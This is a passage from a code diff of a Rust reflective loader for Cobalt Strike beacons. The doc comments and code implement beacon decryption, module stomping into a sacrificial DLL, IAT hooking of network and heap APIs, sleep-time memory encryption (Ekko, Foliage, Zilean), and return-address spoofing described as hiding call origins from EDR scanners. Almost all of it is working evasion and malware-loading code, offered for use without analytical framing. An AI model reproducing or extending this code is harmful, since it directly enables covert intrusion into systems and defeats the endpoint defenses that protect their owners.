// Resolve real Sleep from kernel32 (can't use api.kernel32.Sleep
|
||||
// because the wrapper spoofs, and we want the raw call here)
|
||||
let kernel32_base = get_loaded_module_by_hash(hash_str!("kernel32.dll"));
|
||||
let sleep_fn: FnSleep = transmute(api::util::api::<()>(
|
||||
kernel32_base,
|
||||
hash_str!("Sleep") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
crate::spoof_uwd!(
|
||||
&mut api.kernel32.spoof_config,
|
||||
sleep_fn as *const c_void,
|
||||
dw_milliseconds as usize
|
||||
);
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
sleep_fn(dw_milliseconds);
|
||||
|
||||
if dw_milliseconds >= 1000 {
|
||||
dbg_print!(api, b"[HOOK:Sleep] Restore sections + heap\n\0");
|
||||
xor::mask_memory_from_context(&mut api, false);
|
||||
xor_heap(&mut api);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "sleep-ekko")]
|
||||
{
|
||||
if dw_milliseconds < 1000 {
|
||||
api.kernel32.WaitForSingleObjectEx(
|
||||
-1isize as _,
|
||||
dw_milliseconds,
|
||||
crate::windows::FALSE,
|
||||
);
|
||||
api.zero();
|
||||
return;
|
||||
}
|
||||
|
||||
generate_encryption_key(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
ekko::ekko_with_fiber(&mut api);
|
||||
// The chain flips the entire buffer to RX - update tracking to match
|
||||
// reality, then restore per-section permissions so .data/.rdata get
|
||||
// their original protections back before any writes.
|
||||
api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ);
|
||||
api::util::restore_section_protections(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
}
|
||||
#[cfg(feature = "sleep-foliage")]
|
||||
{
|
||||
if dw_milliseconds < 1000 {
|
||||
api.kernel32.WaitForSingleObjectEx(
|
||||
-1isize as _,
|
||||
dw_milliseconds,
|
||||
crate::windows::FALSE,
|
||||
);
|
||||
api.zero();
|
||||
return;
|
||||
}
|
||||
|
||||
generate_encryption_key(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
foliage::foliage_with_fiber(&mut api);
|
||||
// The chain flips the entire buffer to RX - update tracking to match
|
||||
// reality, then restore per-section permissions so .data/.rdata get
|
||||
// their original protections back before any writes.
|
||||
api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ);
|
||||
api::util::restore_section_protections(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
}
|
||||
#[cfg(feature = "sleep-zilean")]
|
||||
{
|
||||
generate_encryption_key(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
zilean::zilean_with_fiber(&mut api);
|
||||
// The chain flips the entire buffer to RX - update tracking to match
|
||||
// reality, then restore per-section permissions so .data/.rdata get
|
||||
// their original protections back before any writes.
|
||||
api::util::mark_sections_protect(&mut api, PAGE_EXECUTE_READ);
|
||||
api::util::restore_section_protections(&mut api);
|
||||
encrypt_heap_rc4(&mut api);
|
||||
}
|
||||
|
||||
// Zero the stack copy of Api (sensitive data)
|
||||
api.zero();
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Thread exit hook (not yet enabled - needs cleanup logic)
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
#[allow(dead_code)]
|
||||
pub unsafe extern "C" fn ExitThread_Hook(dw_exit_code: DWORD) {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.RtlExitUserThread(dw_exit_code as NTSTATUS);
|
||||
}
|
||||
+323
@@ -0,0 +1,323 @@
|
||||
//! UDRL (User-Defined Reflective Loader) for Cobalt Strike.
|
||||
//!
|
||||
//! # Overview
|
||||
//!
|
||||
//! This crate implements a position-independent reflective loader for Cobalt Strike
|
||||
//! beacons, written entirely in Rust with inline assembly. It provides:
|
||||
//!
|
||||
//! - **Reflective PE loading** - Maps beacon PE into memory and resolves imports/relocations
|
||||
//! - **IAT hooking** - Intercepts beacon API calls for custom behavior
|
||||
//! - **Sleep obfuscation** - FOLIAGE-style memory encryption during sleep
|
||||
//! - **Return address spoofing** - Hides call origins from EDR stack scanners
|
||||
//! - **Isolated heap** - Custom heap for beacon allocations
|
||||
//!
|
||||
//! # Architecture
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌─────────────────────────────────────────────────────────────┐
|
||||
//! │ Entry/Start (assembly) │
|
||||
//! │ ↓ │
|
||||
//! │ ace() → Creates thread, hijacks RIP to loader() │
|
||||
//! │ ↓ │
|
||||
//! │ loader() → Maps beacon, installs hooks, executes DllMain │
|
||||
//! │ ↓ │
|
||||
//! │ Beacon runs with hooked APIs (heap, sleep, network) │
|
||||
//! └─────────────────────────────────────────────────────────────┘
|
||||
//! ```
|
||||
//!
|
||||
//! # Memory Layout
|
||||
//!
|
||||
//! ```text
|
||||
//! [STUB metadata][Loader code][Hook code][Beacon PE sections]
|
||||
//! ^-- STUB ^-- .text$B ^-- .text$D ^-- mapped image
|
||||
//! ```
|
||||
//!
|
||||
//! # Key Modules
|
||||
//!
|
||||
//! - `ace` - Thread creation and RIP hijacking
|
||||
//! - `loader` - PE mapping, IAT patching, relocation processing
|
||||
//! - `crypto` - Runtime beacon decryption (RC4)
|
||||
//! - `hooks` - IAT hook implementations (GetProcessHeap, Sleep, etc.)
|
||||
//! - `sleep` - FOLIAGE sleep obfuscation with APC chains
|
||||
//! - `spoof` - Return address spoofing using ROP gadgets
|
||||
//! - `api` - Windows API resolution and storage
|
||||
//! - `util` - PE parsing, memory operations, hash functions
|
||||
//! - `windows` - Windows type definitions and constants
|
||||
//! - `log` - Debug logging (feature-gated)
|
||||
//!
|
||||
//! # Build Requirements
|
||||
//!
|
||||
//! - `#![no_std]` - No standard library (position-independent)
|
||||
//! - `#![no_main]` - Custom entry points (assembly-defined)
|
||||
//! - Assembly files (start.asm, misc.asm) linked via `asm` library
|
||||
//!
|
||||
//! # AceLdr Compatibility
|
||||
//!
|
||||
//! This loader mirrors the behavior and structure of AceLdr (C implementation)
|
||||
//! to ensure compatibility with Cobalt Strike beacon expectations.
|
||||
|
||||
#![no_std]
|
||||
#![no_main]
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(unused_variables, unused_imports)]
|
||||
#![feature(lang_items)]
|
||||
#![allow(internal_features)]
|
||||
#![allow(integer_to_ptr_transmutes)]
|
||||
#![feature(stmt_expr_attributes)]
|
||||
|
||||
// Import modules
|
||||
mod ace;
|
||||
mod crypto;
|
||||
mod hooks;
|
||||
mod loader;
|
||||
// mod log; // Disabled: using dbg_print! macro instead (see util.rs)
|
||||
|
||||
// Re-export key components
|
||||
use core::{ffi::c_void, panic::PanicInfo};
|
||||
pub use {api::windows::*, loader::*};
|
||||
pub mod windows {
|
||||
pub use api::windows::*;
|
||||
}
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
pub use uwd::spoof_uwd;
|
||||
|
||||
/// External assembly functions and symbols from start.asm and misc.asm.
|
||||
///
|
||||
/// # Assembly Integration
|
||||
///
|
||||
/// These functions are implemented in x64/x86 assembly and linked via the `asm` library.
|
||||
/// They provide position-independent primitives that Rust cannot safely implement:
|
||||
///
|
||||
/// - **Start** - Assembly entry point, initializes execution
|
||||
/// - **GetIp** - Returns current instruction pointer (RIP-relative addressing)
|
||||
/// - **StubAddr** - Returns base address of STUB structure
|
||||
/// - **Stub** - STUB metadata symbol marker
|
||||
/// - **Spoof** - Return address spoofing trampoline using ROP gadgets
|
||||
///
|
||||
/// # Platform Support
|
||||
///
|
||||
/// Functions are architecture-specific with different implementations for:
|
||||
/// - x64 (x64/start.asm, x64/misc.asm)
|
||||
/// - x86 (x86/start.asm, x86/misc.asm) - Uses `link_name` attribute for mangling
|
||||
#[allow(unused_doc_comments)]
|
||||
#[link(name = "asm")]
|
||||
extern "C" {
|
||||
/// Assembly entry point that sets up execution and calls Rust Entry().
|
||||
#[cfg_attr(target_arch = "x86", link_name = "Start")]
|
||||
pub fn Start() -> ULONG_PTR;
|
||||
|
||||
/// Returns the current instruction pointer (RIP/EIP) for position-independent calculations.
|
||||
#[cfg_attr(target_arch = "x86", link_name = "GetIp")]
|
||||
pub fn GetIp() -> ULONG_PTR;
|
||||
|
||||
/// Returns the base address of the STUB metadata structure.
|
||||
#[cfg_attr(target_arch = "x86", link_name = "StubAddr")]
|
||||
pub fn StubAddr() -> ULONG_PTR;
|
||||
|
||||
/// STUB metadata structure symbol (used as marker for address calculations).
|
||||
#[cfg_attr(target_arch = "x86", link_name = "Stub")]
|
||||
pub static mut Stub: u8;
|
||||
|
||||
}
|
||||
|
||||
/// Converts a pointer to ULONG_PTR (unsigned pointer-sized integer).
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Type-safe conversion from any pointer type to ULONG_PTR for address arithmetic
|
||||
/// and storage. Always inlined for zero-cost abstraction.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `value` - Pointer of any type to convert
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// ULONG_PTR representation of the pointer address
|
||||
#[inline(always)]
|
||||
pub fn U_PTR<T>(value: *const T) -> ULONG_PTR {
|
||||
value as ULONG_PTR
|
||||
}
|
||||
|
||||
/// Converts ULONG_PTR to a typed pointer.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Type-safe conversion from ULONG_PTR back to a typed pointer for dereferencing.
|
||||
/// Always inlined for zero-cost abstraction.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `value` - ULONG_PTR value representing an address
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Mutable pointer of specified type
|
||||
#[inline(always)]
|
||||
pub fn C_PTR<T>(value: ULONG_PTR) -> *mut T {
|
||||
value as *mut T
|
||||
}
|
||||
|
||||
/// Calculates position-independent offset for a symbol address.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Converts a compile-time symbol address to a runtime offset using RIP-relative
|
||||
/// addressing. This enables position-independent code without relocations.
|
||||
///
|
||||
/// # How It Works
|
||||
///
|
||||
/// ```text
|
||||
/// Runtime IP: GetIp() returns current RIP
|
||||
/// Compile-time IP: GetIp as function pointer
|
||||
/// Symbol offset: GetIp - symbol (compile-time distance)
|
||||
/// Runtime symbol: GetIp() - (GetIp - symbol)
|
||||
/// ```
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `symbol` - Compile-time address of the symbol to calculate offset for
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Runtime address of the symbol (position-independent)
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Assumes GetIp() returns valid instruction pointer and symbol is in same module
|
||||
#[inline(always)]
|
||||
pub unsafe fn OFFSET(symbol: ULONG_PTR) -> ULONG_PTR {
|
||||
GetIp().wrapping_sub((GetIp as *const () as ULONG_PTR).wrapping_sub(symbol))
|
||||
}
|
||||
|
||||
/// Returns the address where the loader code ends (G_END).
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Calculates the position where the loader code ends and the CONFIG struct begins.
|
||||
/// The CONFIG struct is appended by the CNA script and contains the encrypted beacon.
|
||||
/// The +11 offset accounts for the call instruction size and alignment.
|
||||
///
|
||||
/// # How It Works
|
||||
///
|
||||
/// ```text
|
||||
/// GetIp() + 11 bytes = End of loader code
|
||||
/// [CONFIG struct][Encrypted beacon]
|
||||
/// ```
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Runtime address where loader code ends (CONFIG struct starts here)
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Assumes GetIp() is called from within the loader and +11 offset is correct
|
||||
#[inline(always)]
|
||||
pub unsafe fn G_END() -> ULONG_PTR {
|
||||
GetIp().wrapping_add(11)
|
||||
}
|
||||
|
||||
/// Primary Rust entry point called from assembly Start() function.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// This is the main entry point for the reflective loader after assembly initialization.
|
||||
/// It immediately delegates to ace::ace() which handles thread creation and loader execution.
|
||||
///
|
||||
/// # Execution Flow
|
||||
///
|
||||
/// ```text
|
||||
/// Start (assembly) → Entry (Rust) → ace() → loader() → beacon
|
||||
/// ```
|
||||
///
|
||||
/// # Section Placement
|
||||
///
|
||||
/// Placed in `.text$B` so assembly code in `.text$A` comes first, ensuring the
|
||||
/// assembly entry point (Start) is at the beginning of the .text section.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `args` - Argument pointer passed from assembly (may be NULL)
|
||||
///
|
||||
/// # AceLdr Compatibility
|
||||
///
|
||||
/// Exported with `Entry` symbol for compatibility with AceLdr conventions.
|
||||
#[no_mangle]
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe extern "C" fn Entry(args: *mut c_void) {
|
||||
// Call ACE loader
|
||||
ace::ace(args);
|
||||
}
|
||||
|
||||
/// Alternate Rust entry point (underscore prefix variant).
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Some loaders/injection methods expect an `_Entry` symbol instead of `Entry`.
|
||||
/// This provides compatibility with both naming conventions.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `args` - Argument pointer passed from caller (may be NULL)
|
||||
///
|
||||
/// # Implementation
|
||||
///
|
||||
/// Identical to Entry(), simply delegates to ace::ace()
|
||||
#[no_mangle]
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe extern "C" fn _Entry(args: *mut c_void) {
|
||||
// Call ACE loader
|
||||
ace::ace(args);
|
||||
}
|
||||
|
||||
/// Panic handler for #![no_std] environment.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Required by Rust for #![no_std] crates. In shellcode, panics are fatal and
|
||||
/// unrecoverable, so we simply enter an infinite loop instead of unwinding.
|
||||
///
|
||||
/// # Behavior
|
||||
///
|
||||
/// Enters infinite loop on panic (no stack unwinding, no error reporting).
|
||||
/// This prevents the loader from crashing the host process unpredictably.
|
||||
///
|
||||
/// # Why Infinite Loop?
|
||||
///
|
||||
/// - No stack unwinding (would break position-independent code)
|
||||
/// - No error output (stealth requirement)
|
||||
/// - Keeps thread alive (prevents crash)
|
||||
#[cfg(not(test))]
|
||||
#[panic_handler]
|
||||
fn panic(_info: &PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
|
||||
/// Exception handling personality function (no-op).
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Required by Rust for exception handling setup. In #![no_std] with no unwinding,
|
||||
/// this is never called but must exist to satisfy the compiler.
|
||||
///
|
||||
/// # Note
|
||||
///
|
||||
/// This function should never be invoked in normal execution.
|
||||
#[cfg(not(test))]
|
||||
#[lang = "eh_personality"]
|
||||
extern "C" fn rust_eh_personality() {}
|
||||
|
||||
/// ARM EABI unwind function (no-op).
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Required for ARM targets to satisfy the EABI (Embedded Application Binary Interface)
|
||||
/// unwinding requirements. Enters infinite loop if called.
|
||||
///
|
||||
/// # Note
|
||||
///
|
||||
/// This function should never be invoked on x64/x86 targets.
|
||||
#[no_mangle]
|
||||
pub unsafe extern "C" fn __aeabi_unwind_cpp_pr0() {
|
||||
loop {}
|
||||
}
|
||||
@@ -0,0 +1,817 @@
|
||||
//! Beacon loader: decrypts, maps, and executes an embedded PE payload.
|
||||
//!
|
||||
//! This module implements the core loading logic for reflective DLL injection:
|
||||
//!
|
||||
//! 1. **Decrypt** - RC4 decrypt the embedded beacon from the CONFIG struct
|
||||
//! 2. **Module Stomp** - Load a sacrificial DLL and overwrite its .text section
|
||||
//! 3. **Map Sections** - Copy beacon PE sections to their virtual addresses
|
||||
//! 4. **Resolve Imports** - Fill IAT with real function addresses from DLLs
|
||||
//! 5. **Install Hooks** - Patch specific IAT entries to redirect through our hooks
|
||||
//! 6. **Rebase Image** - Apply base relocations to fix absolute addresses
|
||||
//! 7. **Fix Permissions** - Set correct memory protections (RX, RW, RO) per section
|
||||
//! 8. **Execute** - Call beacon's DllMain entry point
|
||||
//!
|
||||
//! # Memory Layout
|
||||
//!
|
||||
//! The loader creates a contiguous memory region inside a stomped module:
|
||||
//!
|
||||
//! ```text
|
||||
//! Initial state (set RX by injector before executing Start):
|
||||
//! [STUB metadata][Loader code (.text$B)][Spoof code (.text$E)][Hook code (.text$D)]
|
||||
//! |<----------------------- exec region (RX) ---------------------------------------->|
|
||||
//!
|
||||
//! After loader runs (stomped module):
|
||||
//! [STUB metadata][Loader + Hook + Spoof code][Beacon PE sections...]
|
||||
//! |<---- exec region (RX) ------------------>|<-- per-section protections -->|
|
||||
//! ```
|
||||
|
||||
use {
|
||||
crate::{
|
||||
hooks::{
|
||||
DnsExtractRecordsFromMessage_UTF8_Hook, DnsWriteQuestionToBuffer_UTF8_Hook,
|
||||
GetProcessHeap_Hook, HeapAlloc_Hook, HttpOpenRequestA_Hook, HttpQueryInfoA_Hook,
|
||||
HttpSendRequestA_Hook, InternetCloseHandle_Hook, InternetConnectA_Hook,
|
||||
InternetOpenA_Hook, InternetQueryDataAvailable_Hook, InternetReadFile_Hook,
|
||||
NtContinue_Hook, NtGetContextThread_Hook, NtProtectVirtualMemory_Hook,
|
||||
NtSetContextThread_Hook, NtWaitForSingleObject_Hook, RtlAllocateHeap_Hook, Sleep_Hook,
|
||||
SystemFunction032_Hook, WSASocketA_Hook, WaitForSingleObjectEx_Hook,
|
||||
WaitForSingleObject_Hook, WinHttpCloseHandle_Hook, WinHttpConnect_Hook,
|
||||
WinHttpOpenRequest_Hook, WinHttpOpen_Hook, WinHttpQueryDataAvailable_Hook,
|
||||
WinHttpQueryHeaders_Hook, WinHttpReadData_Hook, WinHttpReceiveResponse_Hook,
|
||||
WinHttpSendRequest_Hook,
|
||||
},
|
||||
Start, StubAddr, C_PTR, G_END, OFFSET,
|
||||
},
|
||||
api::{
|
||||
api::{Api, MemorySection},
|
||||
dbg_print, hash_str,
|
||||
util::{
|
||||
hook_iat, memcopy, memzero, rebase_image, resolve_imports,
|
||||
section_characteristics_to_protect,
|
||||
},
|
||||
windows::*,
|
||||
NT_SUCCESS,
|
||||
},
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// Titan CONFIG structure (matches Titan.cna output)
|
||||
///
|
||||
/// This struct is appended directly after the loader code by the CNA script:
|
||||
/// [Loader code (ends at G_END())][CONFIG struct][Encrypted beacon]
|
||||
///
|
||||
/// NOTE: Titan's Config.h uses big-endian byte order for rc4_len!
|
||||
#[repr(C, packed)]
|
||||
struct Config {
|
||||
/// Size of encrypted beacon (4 bytes, BIG-ENDIAN!)
|
||||
rc4_len: [u8; 4],
|
||||
/// 16-byte RC4 key (random ASCII string generated by CNA)
|
||||
key_buf: [u8; 16],
|
||||
// rc4_buf (encrypted beacon) follows immediately after (flexible array)
|
||||
}
|
||||
|
||||
/// Main loader entry point: decrypts, maps, and executes the embedded beacon.
|
||||
///
|
||||
/// This function performs the complete loading sequence for reflective injection.
|
||||
/// It is called from the ACE thread trampoline after RIP redirection.
|
||||
///
|
||||
/// # Memory Layout Transformation
|
||||
///
|
||||
/// Linker merges all into one `.text` section (see scripts/linker.ld):
|
||||
/// `.text$A` → `.text$B` → `.text$D` → `.text$E` → `.rdata` → `.data` → `.text$ZZ`
|
||||
///
|
||||
/// ```text
|
||||
/// BEFORE (AceLdr + beacon stomped into first module by shellcode loader):
|
||||
///
|
||||
/// First stomped module .text:
|
||||
/// StubAddr() G_END()
|
||||
/// | |
|
||||
/// v v
|
||||
/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬────────┬─────────────────┐
|
||||
/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ CONFIG │Encrypted Beacon │
|
||||
/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │ (20 B) │ (RC4 encrypted) │
|
||||
/// └────────┴────────┴─────────┴───────┴───────┴─────────┴────────┴─────────────────┘
|
||||
/// |<--------------- copy_stub() copies ---------------->|
|
||||
/// | |
|
||||
/// Temp buffer (NtAllocateVirtualMemory RW): |
|
||||
/// ┌─────────────────────────────┐ | |
|
||||
/// │ Decrypted Beacon PE │<-----+ RC4 decrypt |
|
||||
/// │ (DOS/NT hdrs + sections) │ (from CONFIG key)
|
||||
/// └─────────────────────────────┘
|
||||
/// |
|
||||
/// | copy_beacon_sections()
|
||||
/// v
|
||||
/// AFTER (AceLdr stomps into second module, beacon decrypted and mapped):
|
||||
///
|
||||
/// Second stomped module .text:
|
||||
/// buffer buffer + reg.exec
|
||||
/// | |
|
||||
/// v v
|
||||
/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬───────────────────────┐
|
||||
/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ Beacon PE Sections │
|
||||
/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │(.text, .rdata, .data) │
|
||||
/// └────────┴────────┴─────────┴───────┴───────┴─────────┴───────────────────────┘
|
||||
/// |<----------------- RX (stub) ------------------>| |<-- per-section perms ->|
|
||||
/// |<----------------- stub_size ------------------>| |
|
||||
/// |<------------------------------ reg.full ---------------------------------->|
|
||||
///
|
||||
/// Temp buffer: zeroed (memzero) and freed (NtFreeVirtualMemory) after mapping
|
||||
/// ```
|
||||
///
|
||||
/// # Execution Steps
|
||||
///
|
||||
/// 1. Resolve loader APIs (memory allocation, protection)
|
||||
/// 2. Parse CONFIG struct at G_END() to get beacon size and RC4 key
|
||||
/// 3. Allocate temporary RW buffer for decryption
|
||||
/// 4. Decrypt beacon from CONFIG into temp buffer
|
||||
/// 5. Calculate memory layout regions (stub + beacon sizes)
|
||||
/// 6. Module stomp: load sacrificial DLL
|
||||
/// 7. Change stomped region permissions to RW
|
||||
/// 8. Copy STUB metadata and loader code to stomped region
|
||||
/// 9. Copy beacon sections to virtual addresses
|
||||
/// 10. Create isolated heap for beacon allocations
|
||||
/// 11. Fill STUB with runtime metadata (heap handle, section info)
|
||||
/// 12. Resolve imports (fill IAT with real function addresses)
|
||||
/// 13. Install IAT hooks (patch specific entries: Sleep, GetProcessHeap)
|
||||
/// 14. Apply base relocations (fix absolute addresses)
|
||||
/// 15. Set stub region to RX
|
||||
/// 16. Set final section permissions per section
|
||||
/// 17. Zero and free temporary decrypt buffer
|
||||
/// 18. Execute beacon DllMain
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Performs raw memory operations and calls into untrusted beacon code.
|
||||
#[link_section = ".text$B"]
|
||||
#[rustfmt::skip]
|
||||
pub unsafe extern "C" fn loader(_arg: *mut c_void)
|
||||
{
|
||||
let mut api = Api::new();
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
api.build_spoof_configs();
|
||||
let mut old_protection: u32 = 0;
|
||||
let mut reg: Reg = core::mem::zeroed();
|
||||
|
||||
dbg_print!(api, b"[LDR] Started\n\0");
|
||||
|
||||
// Step 1: Parse Titan CONFIG struct (directly at G_END())
|
||||
let cfg = G_END() as *const Config;
|
||||
let beacon_size = u32::from_be_bytes((*cfg).rc4_len) as SIZE_T;
|
||||
let key_ptr = (*cfg).key_buf.as_ptr();
|
||||
let encrypted_beacon = (cfg as usize + core::mem::size_of::<Config>()) as *const u8;
|
||||
|
||||
// Step 3: Allocate temporary RW buffer for decryption (Titan calls this "Enc")
|
||||
let mut dec_buffer: PVOID = null_mut();
|
||||
let mut alloc_size = beacon_size;
|
||||
|
||||
if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory(-1isize as HANDLE, &mut dec_buffer, 0, &mut alloc_size, MEM_COMMIT, PAGE_READWRITE)) {
|
||||
dbg_print!(api, b"[LDR] FAIL: NtAllocateVirtualMemory\n\0");
|
||||
return;
|
||||
}
|
||||
dbg_print!(api, b"[LDR] Allocated RW buffer: %p\n\0", dec_buffer);
|
||||
|
||||
// Step 4: Decrypt beacon from CONFIG into temp buffer
|
||||
crate::crypto::decrypt_beacon(key_ptr, encrypted_beacon, dec_buffer as *mut u8, beacon_size);
|
||||
dbg_print!(api, b"[LDR] Beacon decrypted\n\0");
|
||||
|
||||
// Parse decrypted beacon PE headers from temp buffer
|
||||
reg.dos = dec_buffer as *mut IMAGE_DOS_HEADER;
|
||||
reg.nt = (dec_buffer as usize + (*reg.dos).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
|
||||
dbg_print!(api, b"[LDR] DOS header: %p\n\0", reg.dos);
|
||||
|
||||
// Step 5: Calculate memory layout regions (stub + beacon sizes)
|
||||
calculate_regions(&mut reg);
|
||||
dbg_print!(api, b"[LDR] reg.full: %p, reg.exec: %p\n\0", reg.full, reg.exec);
|
||||
|
||||
// Step 6: Module stomp - load sacrificial DLL
|
||||
let module_base = api.kernel32.LoadLibraryExA(b"d3d10.dll\0".as_ptr() as LPCSTR, null_mut(), DONT_RESOLVE_DLL_REFERENCES);
|
||||
|
||||
if module_base.is_null() {
|
||||
dbg_print!(api, b"[LDR] FAIL: LoadLibraryExA\n\0");
|
||||
return;
|
||||
}
|
||||
|
||||
let dos_header = module_base as *const IMAGE_DOS_HEADER;
|
||||
let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
|
||||
let first_section = IMAGE_FIRST_SECTION(nt_headers);
|
||||
let text_rva = (*first_section).VirtualAddress as usize;
|
||||
let text_size = (*first_section).Misc.virtual_size as usize;
|
||||
let mut memory_buffer = (module_base as usize + text_rva) as *mut c_void;
|
||||
|
||||
if reg.full > text_size {
|
||||
dbg_print!(api, b"[LDR] FAIL: payload too large for .text\n\0");
|
||||
return;
|
||||
}
|
||||
dbg_print!(api, b"[LDR] Stomp target: %p\n\0", memory_buffer);
|
||||
|
||||
// Step 7: Change stomped region permissions to RW
|
||||
if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut memory_buffer, &mut reg.full, PAGE_READWRITE, &mut old_protection)) {
|
||||
dbg_print!(api, b"[LDR] FAIL: NtProtectVirtualMemory RW\n\0");
|
||||
return;
|
||||
}
|
||||
dbg_print!(api, b"[LDR] Changed to RW\n\0");
|
||||
|
||||
// Step 8: Copy STUB metadata and loader code to stomped region
|
||||
copy_stub(memory_buffer as _);
|
||||
dbg_print!(api, b"[LDR] Stub copied\n\0");
|
||||
|
||||
// Step 9: Copy beacon sections to virtual addresses
|
||||
let map = copy_beacon_sections(memory_buffer, ®);
|
||||
dbg_print!(api, b"[LDR] Beacon sections copied: %p\n\0", map);
|
||||
|
||||
// Step 10: Create isolated heap for beacon allocations
|
||||
let beacon_heap = api.ntdll.RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut());
|
||||
dbg_print!(api, b"[LDR] Heap created: %p\n\0", beacon_heap);
|
||||
|
||||
// Step 11: Fill STUB with runtime metadata + copy Api into STUB
|
||||
fill_stub(memory_buffer, beacon_heap, &mut reg, &api);
|
||||
dbg_print!(api, b"[LDR] Stub filled (Api embedded in STUB)\n\0");
|
||||
|
||||
// From here, use the STUB-embedded Api (persists after loader returns)
|
||||
let api = &mut *(*(memory_buffer as PSTUB)).api;
|
||||
|
||||
// Step 12: Resolve imports (fills IAT with real function addresses)
|
||||
let import_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if import_dir.VirtualAddress != 0 {
|
||||
let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
|
||||
let _ = resolve_imports(api, map as _, import_dir_addr);
|
||||
dbg_print!(&*api, b"[LDR] Imports resolved\n\0");
|
||||
}
|
||||
|
||||
// Step 13: Install IAT hooks (patches specific entries to redirect to our hooks)
|
||||
install_hooks(map, memory_buffer, reg.nt);
|
||||
dbg_print!(&*api, b"[LDR] Hooks installed\n\0");
|
||||
|
||||
// Step 14: Apply base relocations (fixes absolute addresses)
|
||||
let reloc_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if reloc_dir.VirtualAddress != 0 {
|
||||
let reloc_dir_addr = (map as usize + reloc_dir.VirtualAddress as usize) as *mut u8;
|
||||
let image_base = (*reg.nt).OptionalHeader.ImageBase as *mut u8;
|
||||
let _ = rebase_image(map as _, reloc_dir_addr, image_base);
|
||||
dbg_print!(&*api, b"[LDR] Relocations applied\n\0");
|
||||
}
|
||||
|
||||
// Step 15: Set stub region to RX (code can execute, no writes needed)
|
||||
let mut stub_base = memory_buffer;
|
||||
let mut stub_size = reg.exec;
|
||||
let mut stub_old_prot: ULONG = 0;
|
||||
|
||||
if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut stub_base, &mut stub_size, PAGE_EXECUTE_READ, &mut stub_old_prot)) {
|
||||
dbg_print!(&*api, b"[LDR] FAIL: NtProtectVirtualMemory RX\n\0");
|
||||
return;
|
||||
}
|
||||
dbg_print!(&*api, b"[LDR] Stub set to RX\n\0");
|
||||
|
||||
// Step 16: Set final section protections (RX for .text, RO for .rdata, etc.)
|
||||
fix_section_permissions(api, memory_buffer, ®);
|
||||
dbg_print!(&*api, b"[LDR] Section permissions set\n\0");
|
||||
|
||||
// Save entry point before freeing buffer
|
||||
let entry_rva = (*reg.nt).OptionalHeader.AddressOfEntryPoint as usize;
|
||||
dbg_print!(&*api, b"[LDR] Entry RVA: %p\n\0", entry_rva);
|
||||
|
||||
// Step 17: Zero and free temporary decrypt buffer (OPSEC: prevent forensics)
|
||||
memzero(dec_buffer as *mut u8, beacon_size as u32);
|
||||
let mut free_size: SIZE_T = 0;
|
||||
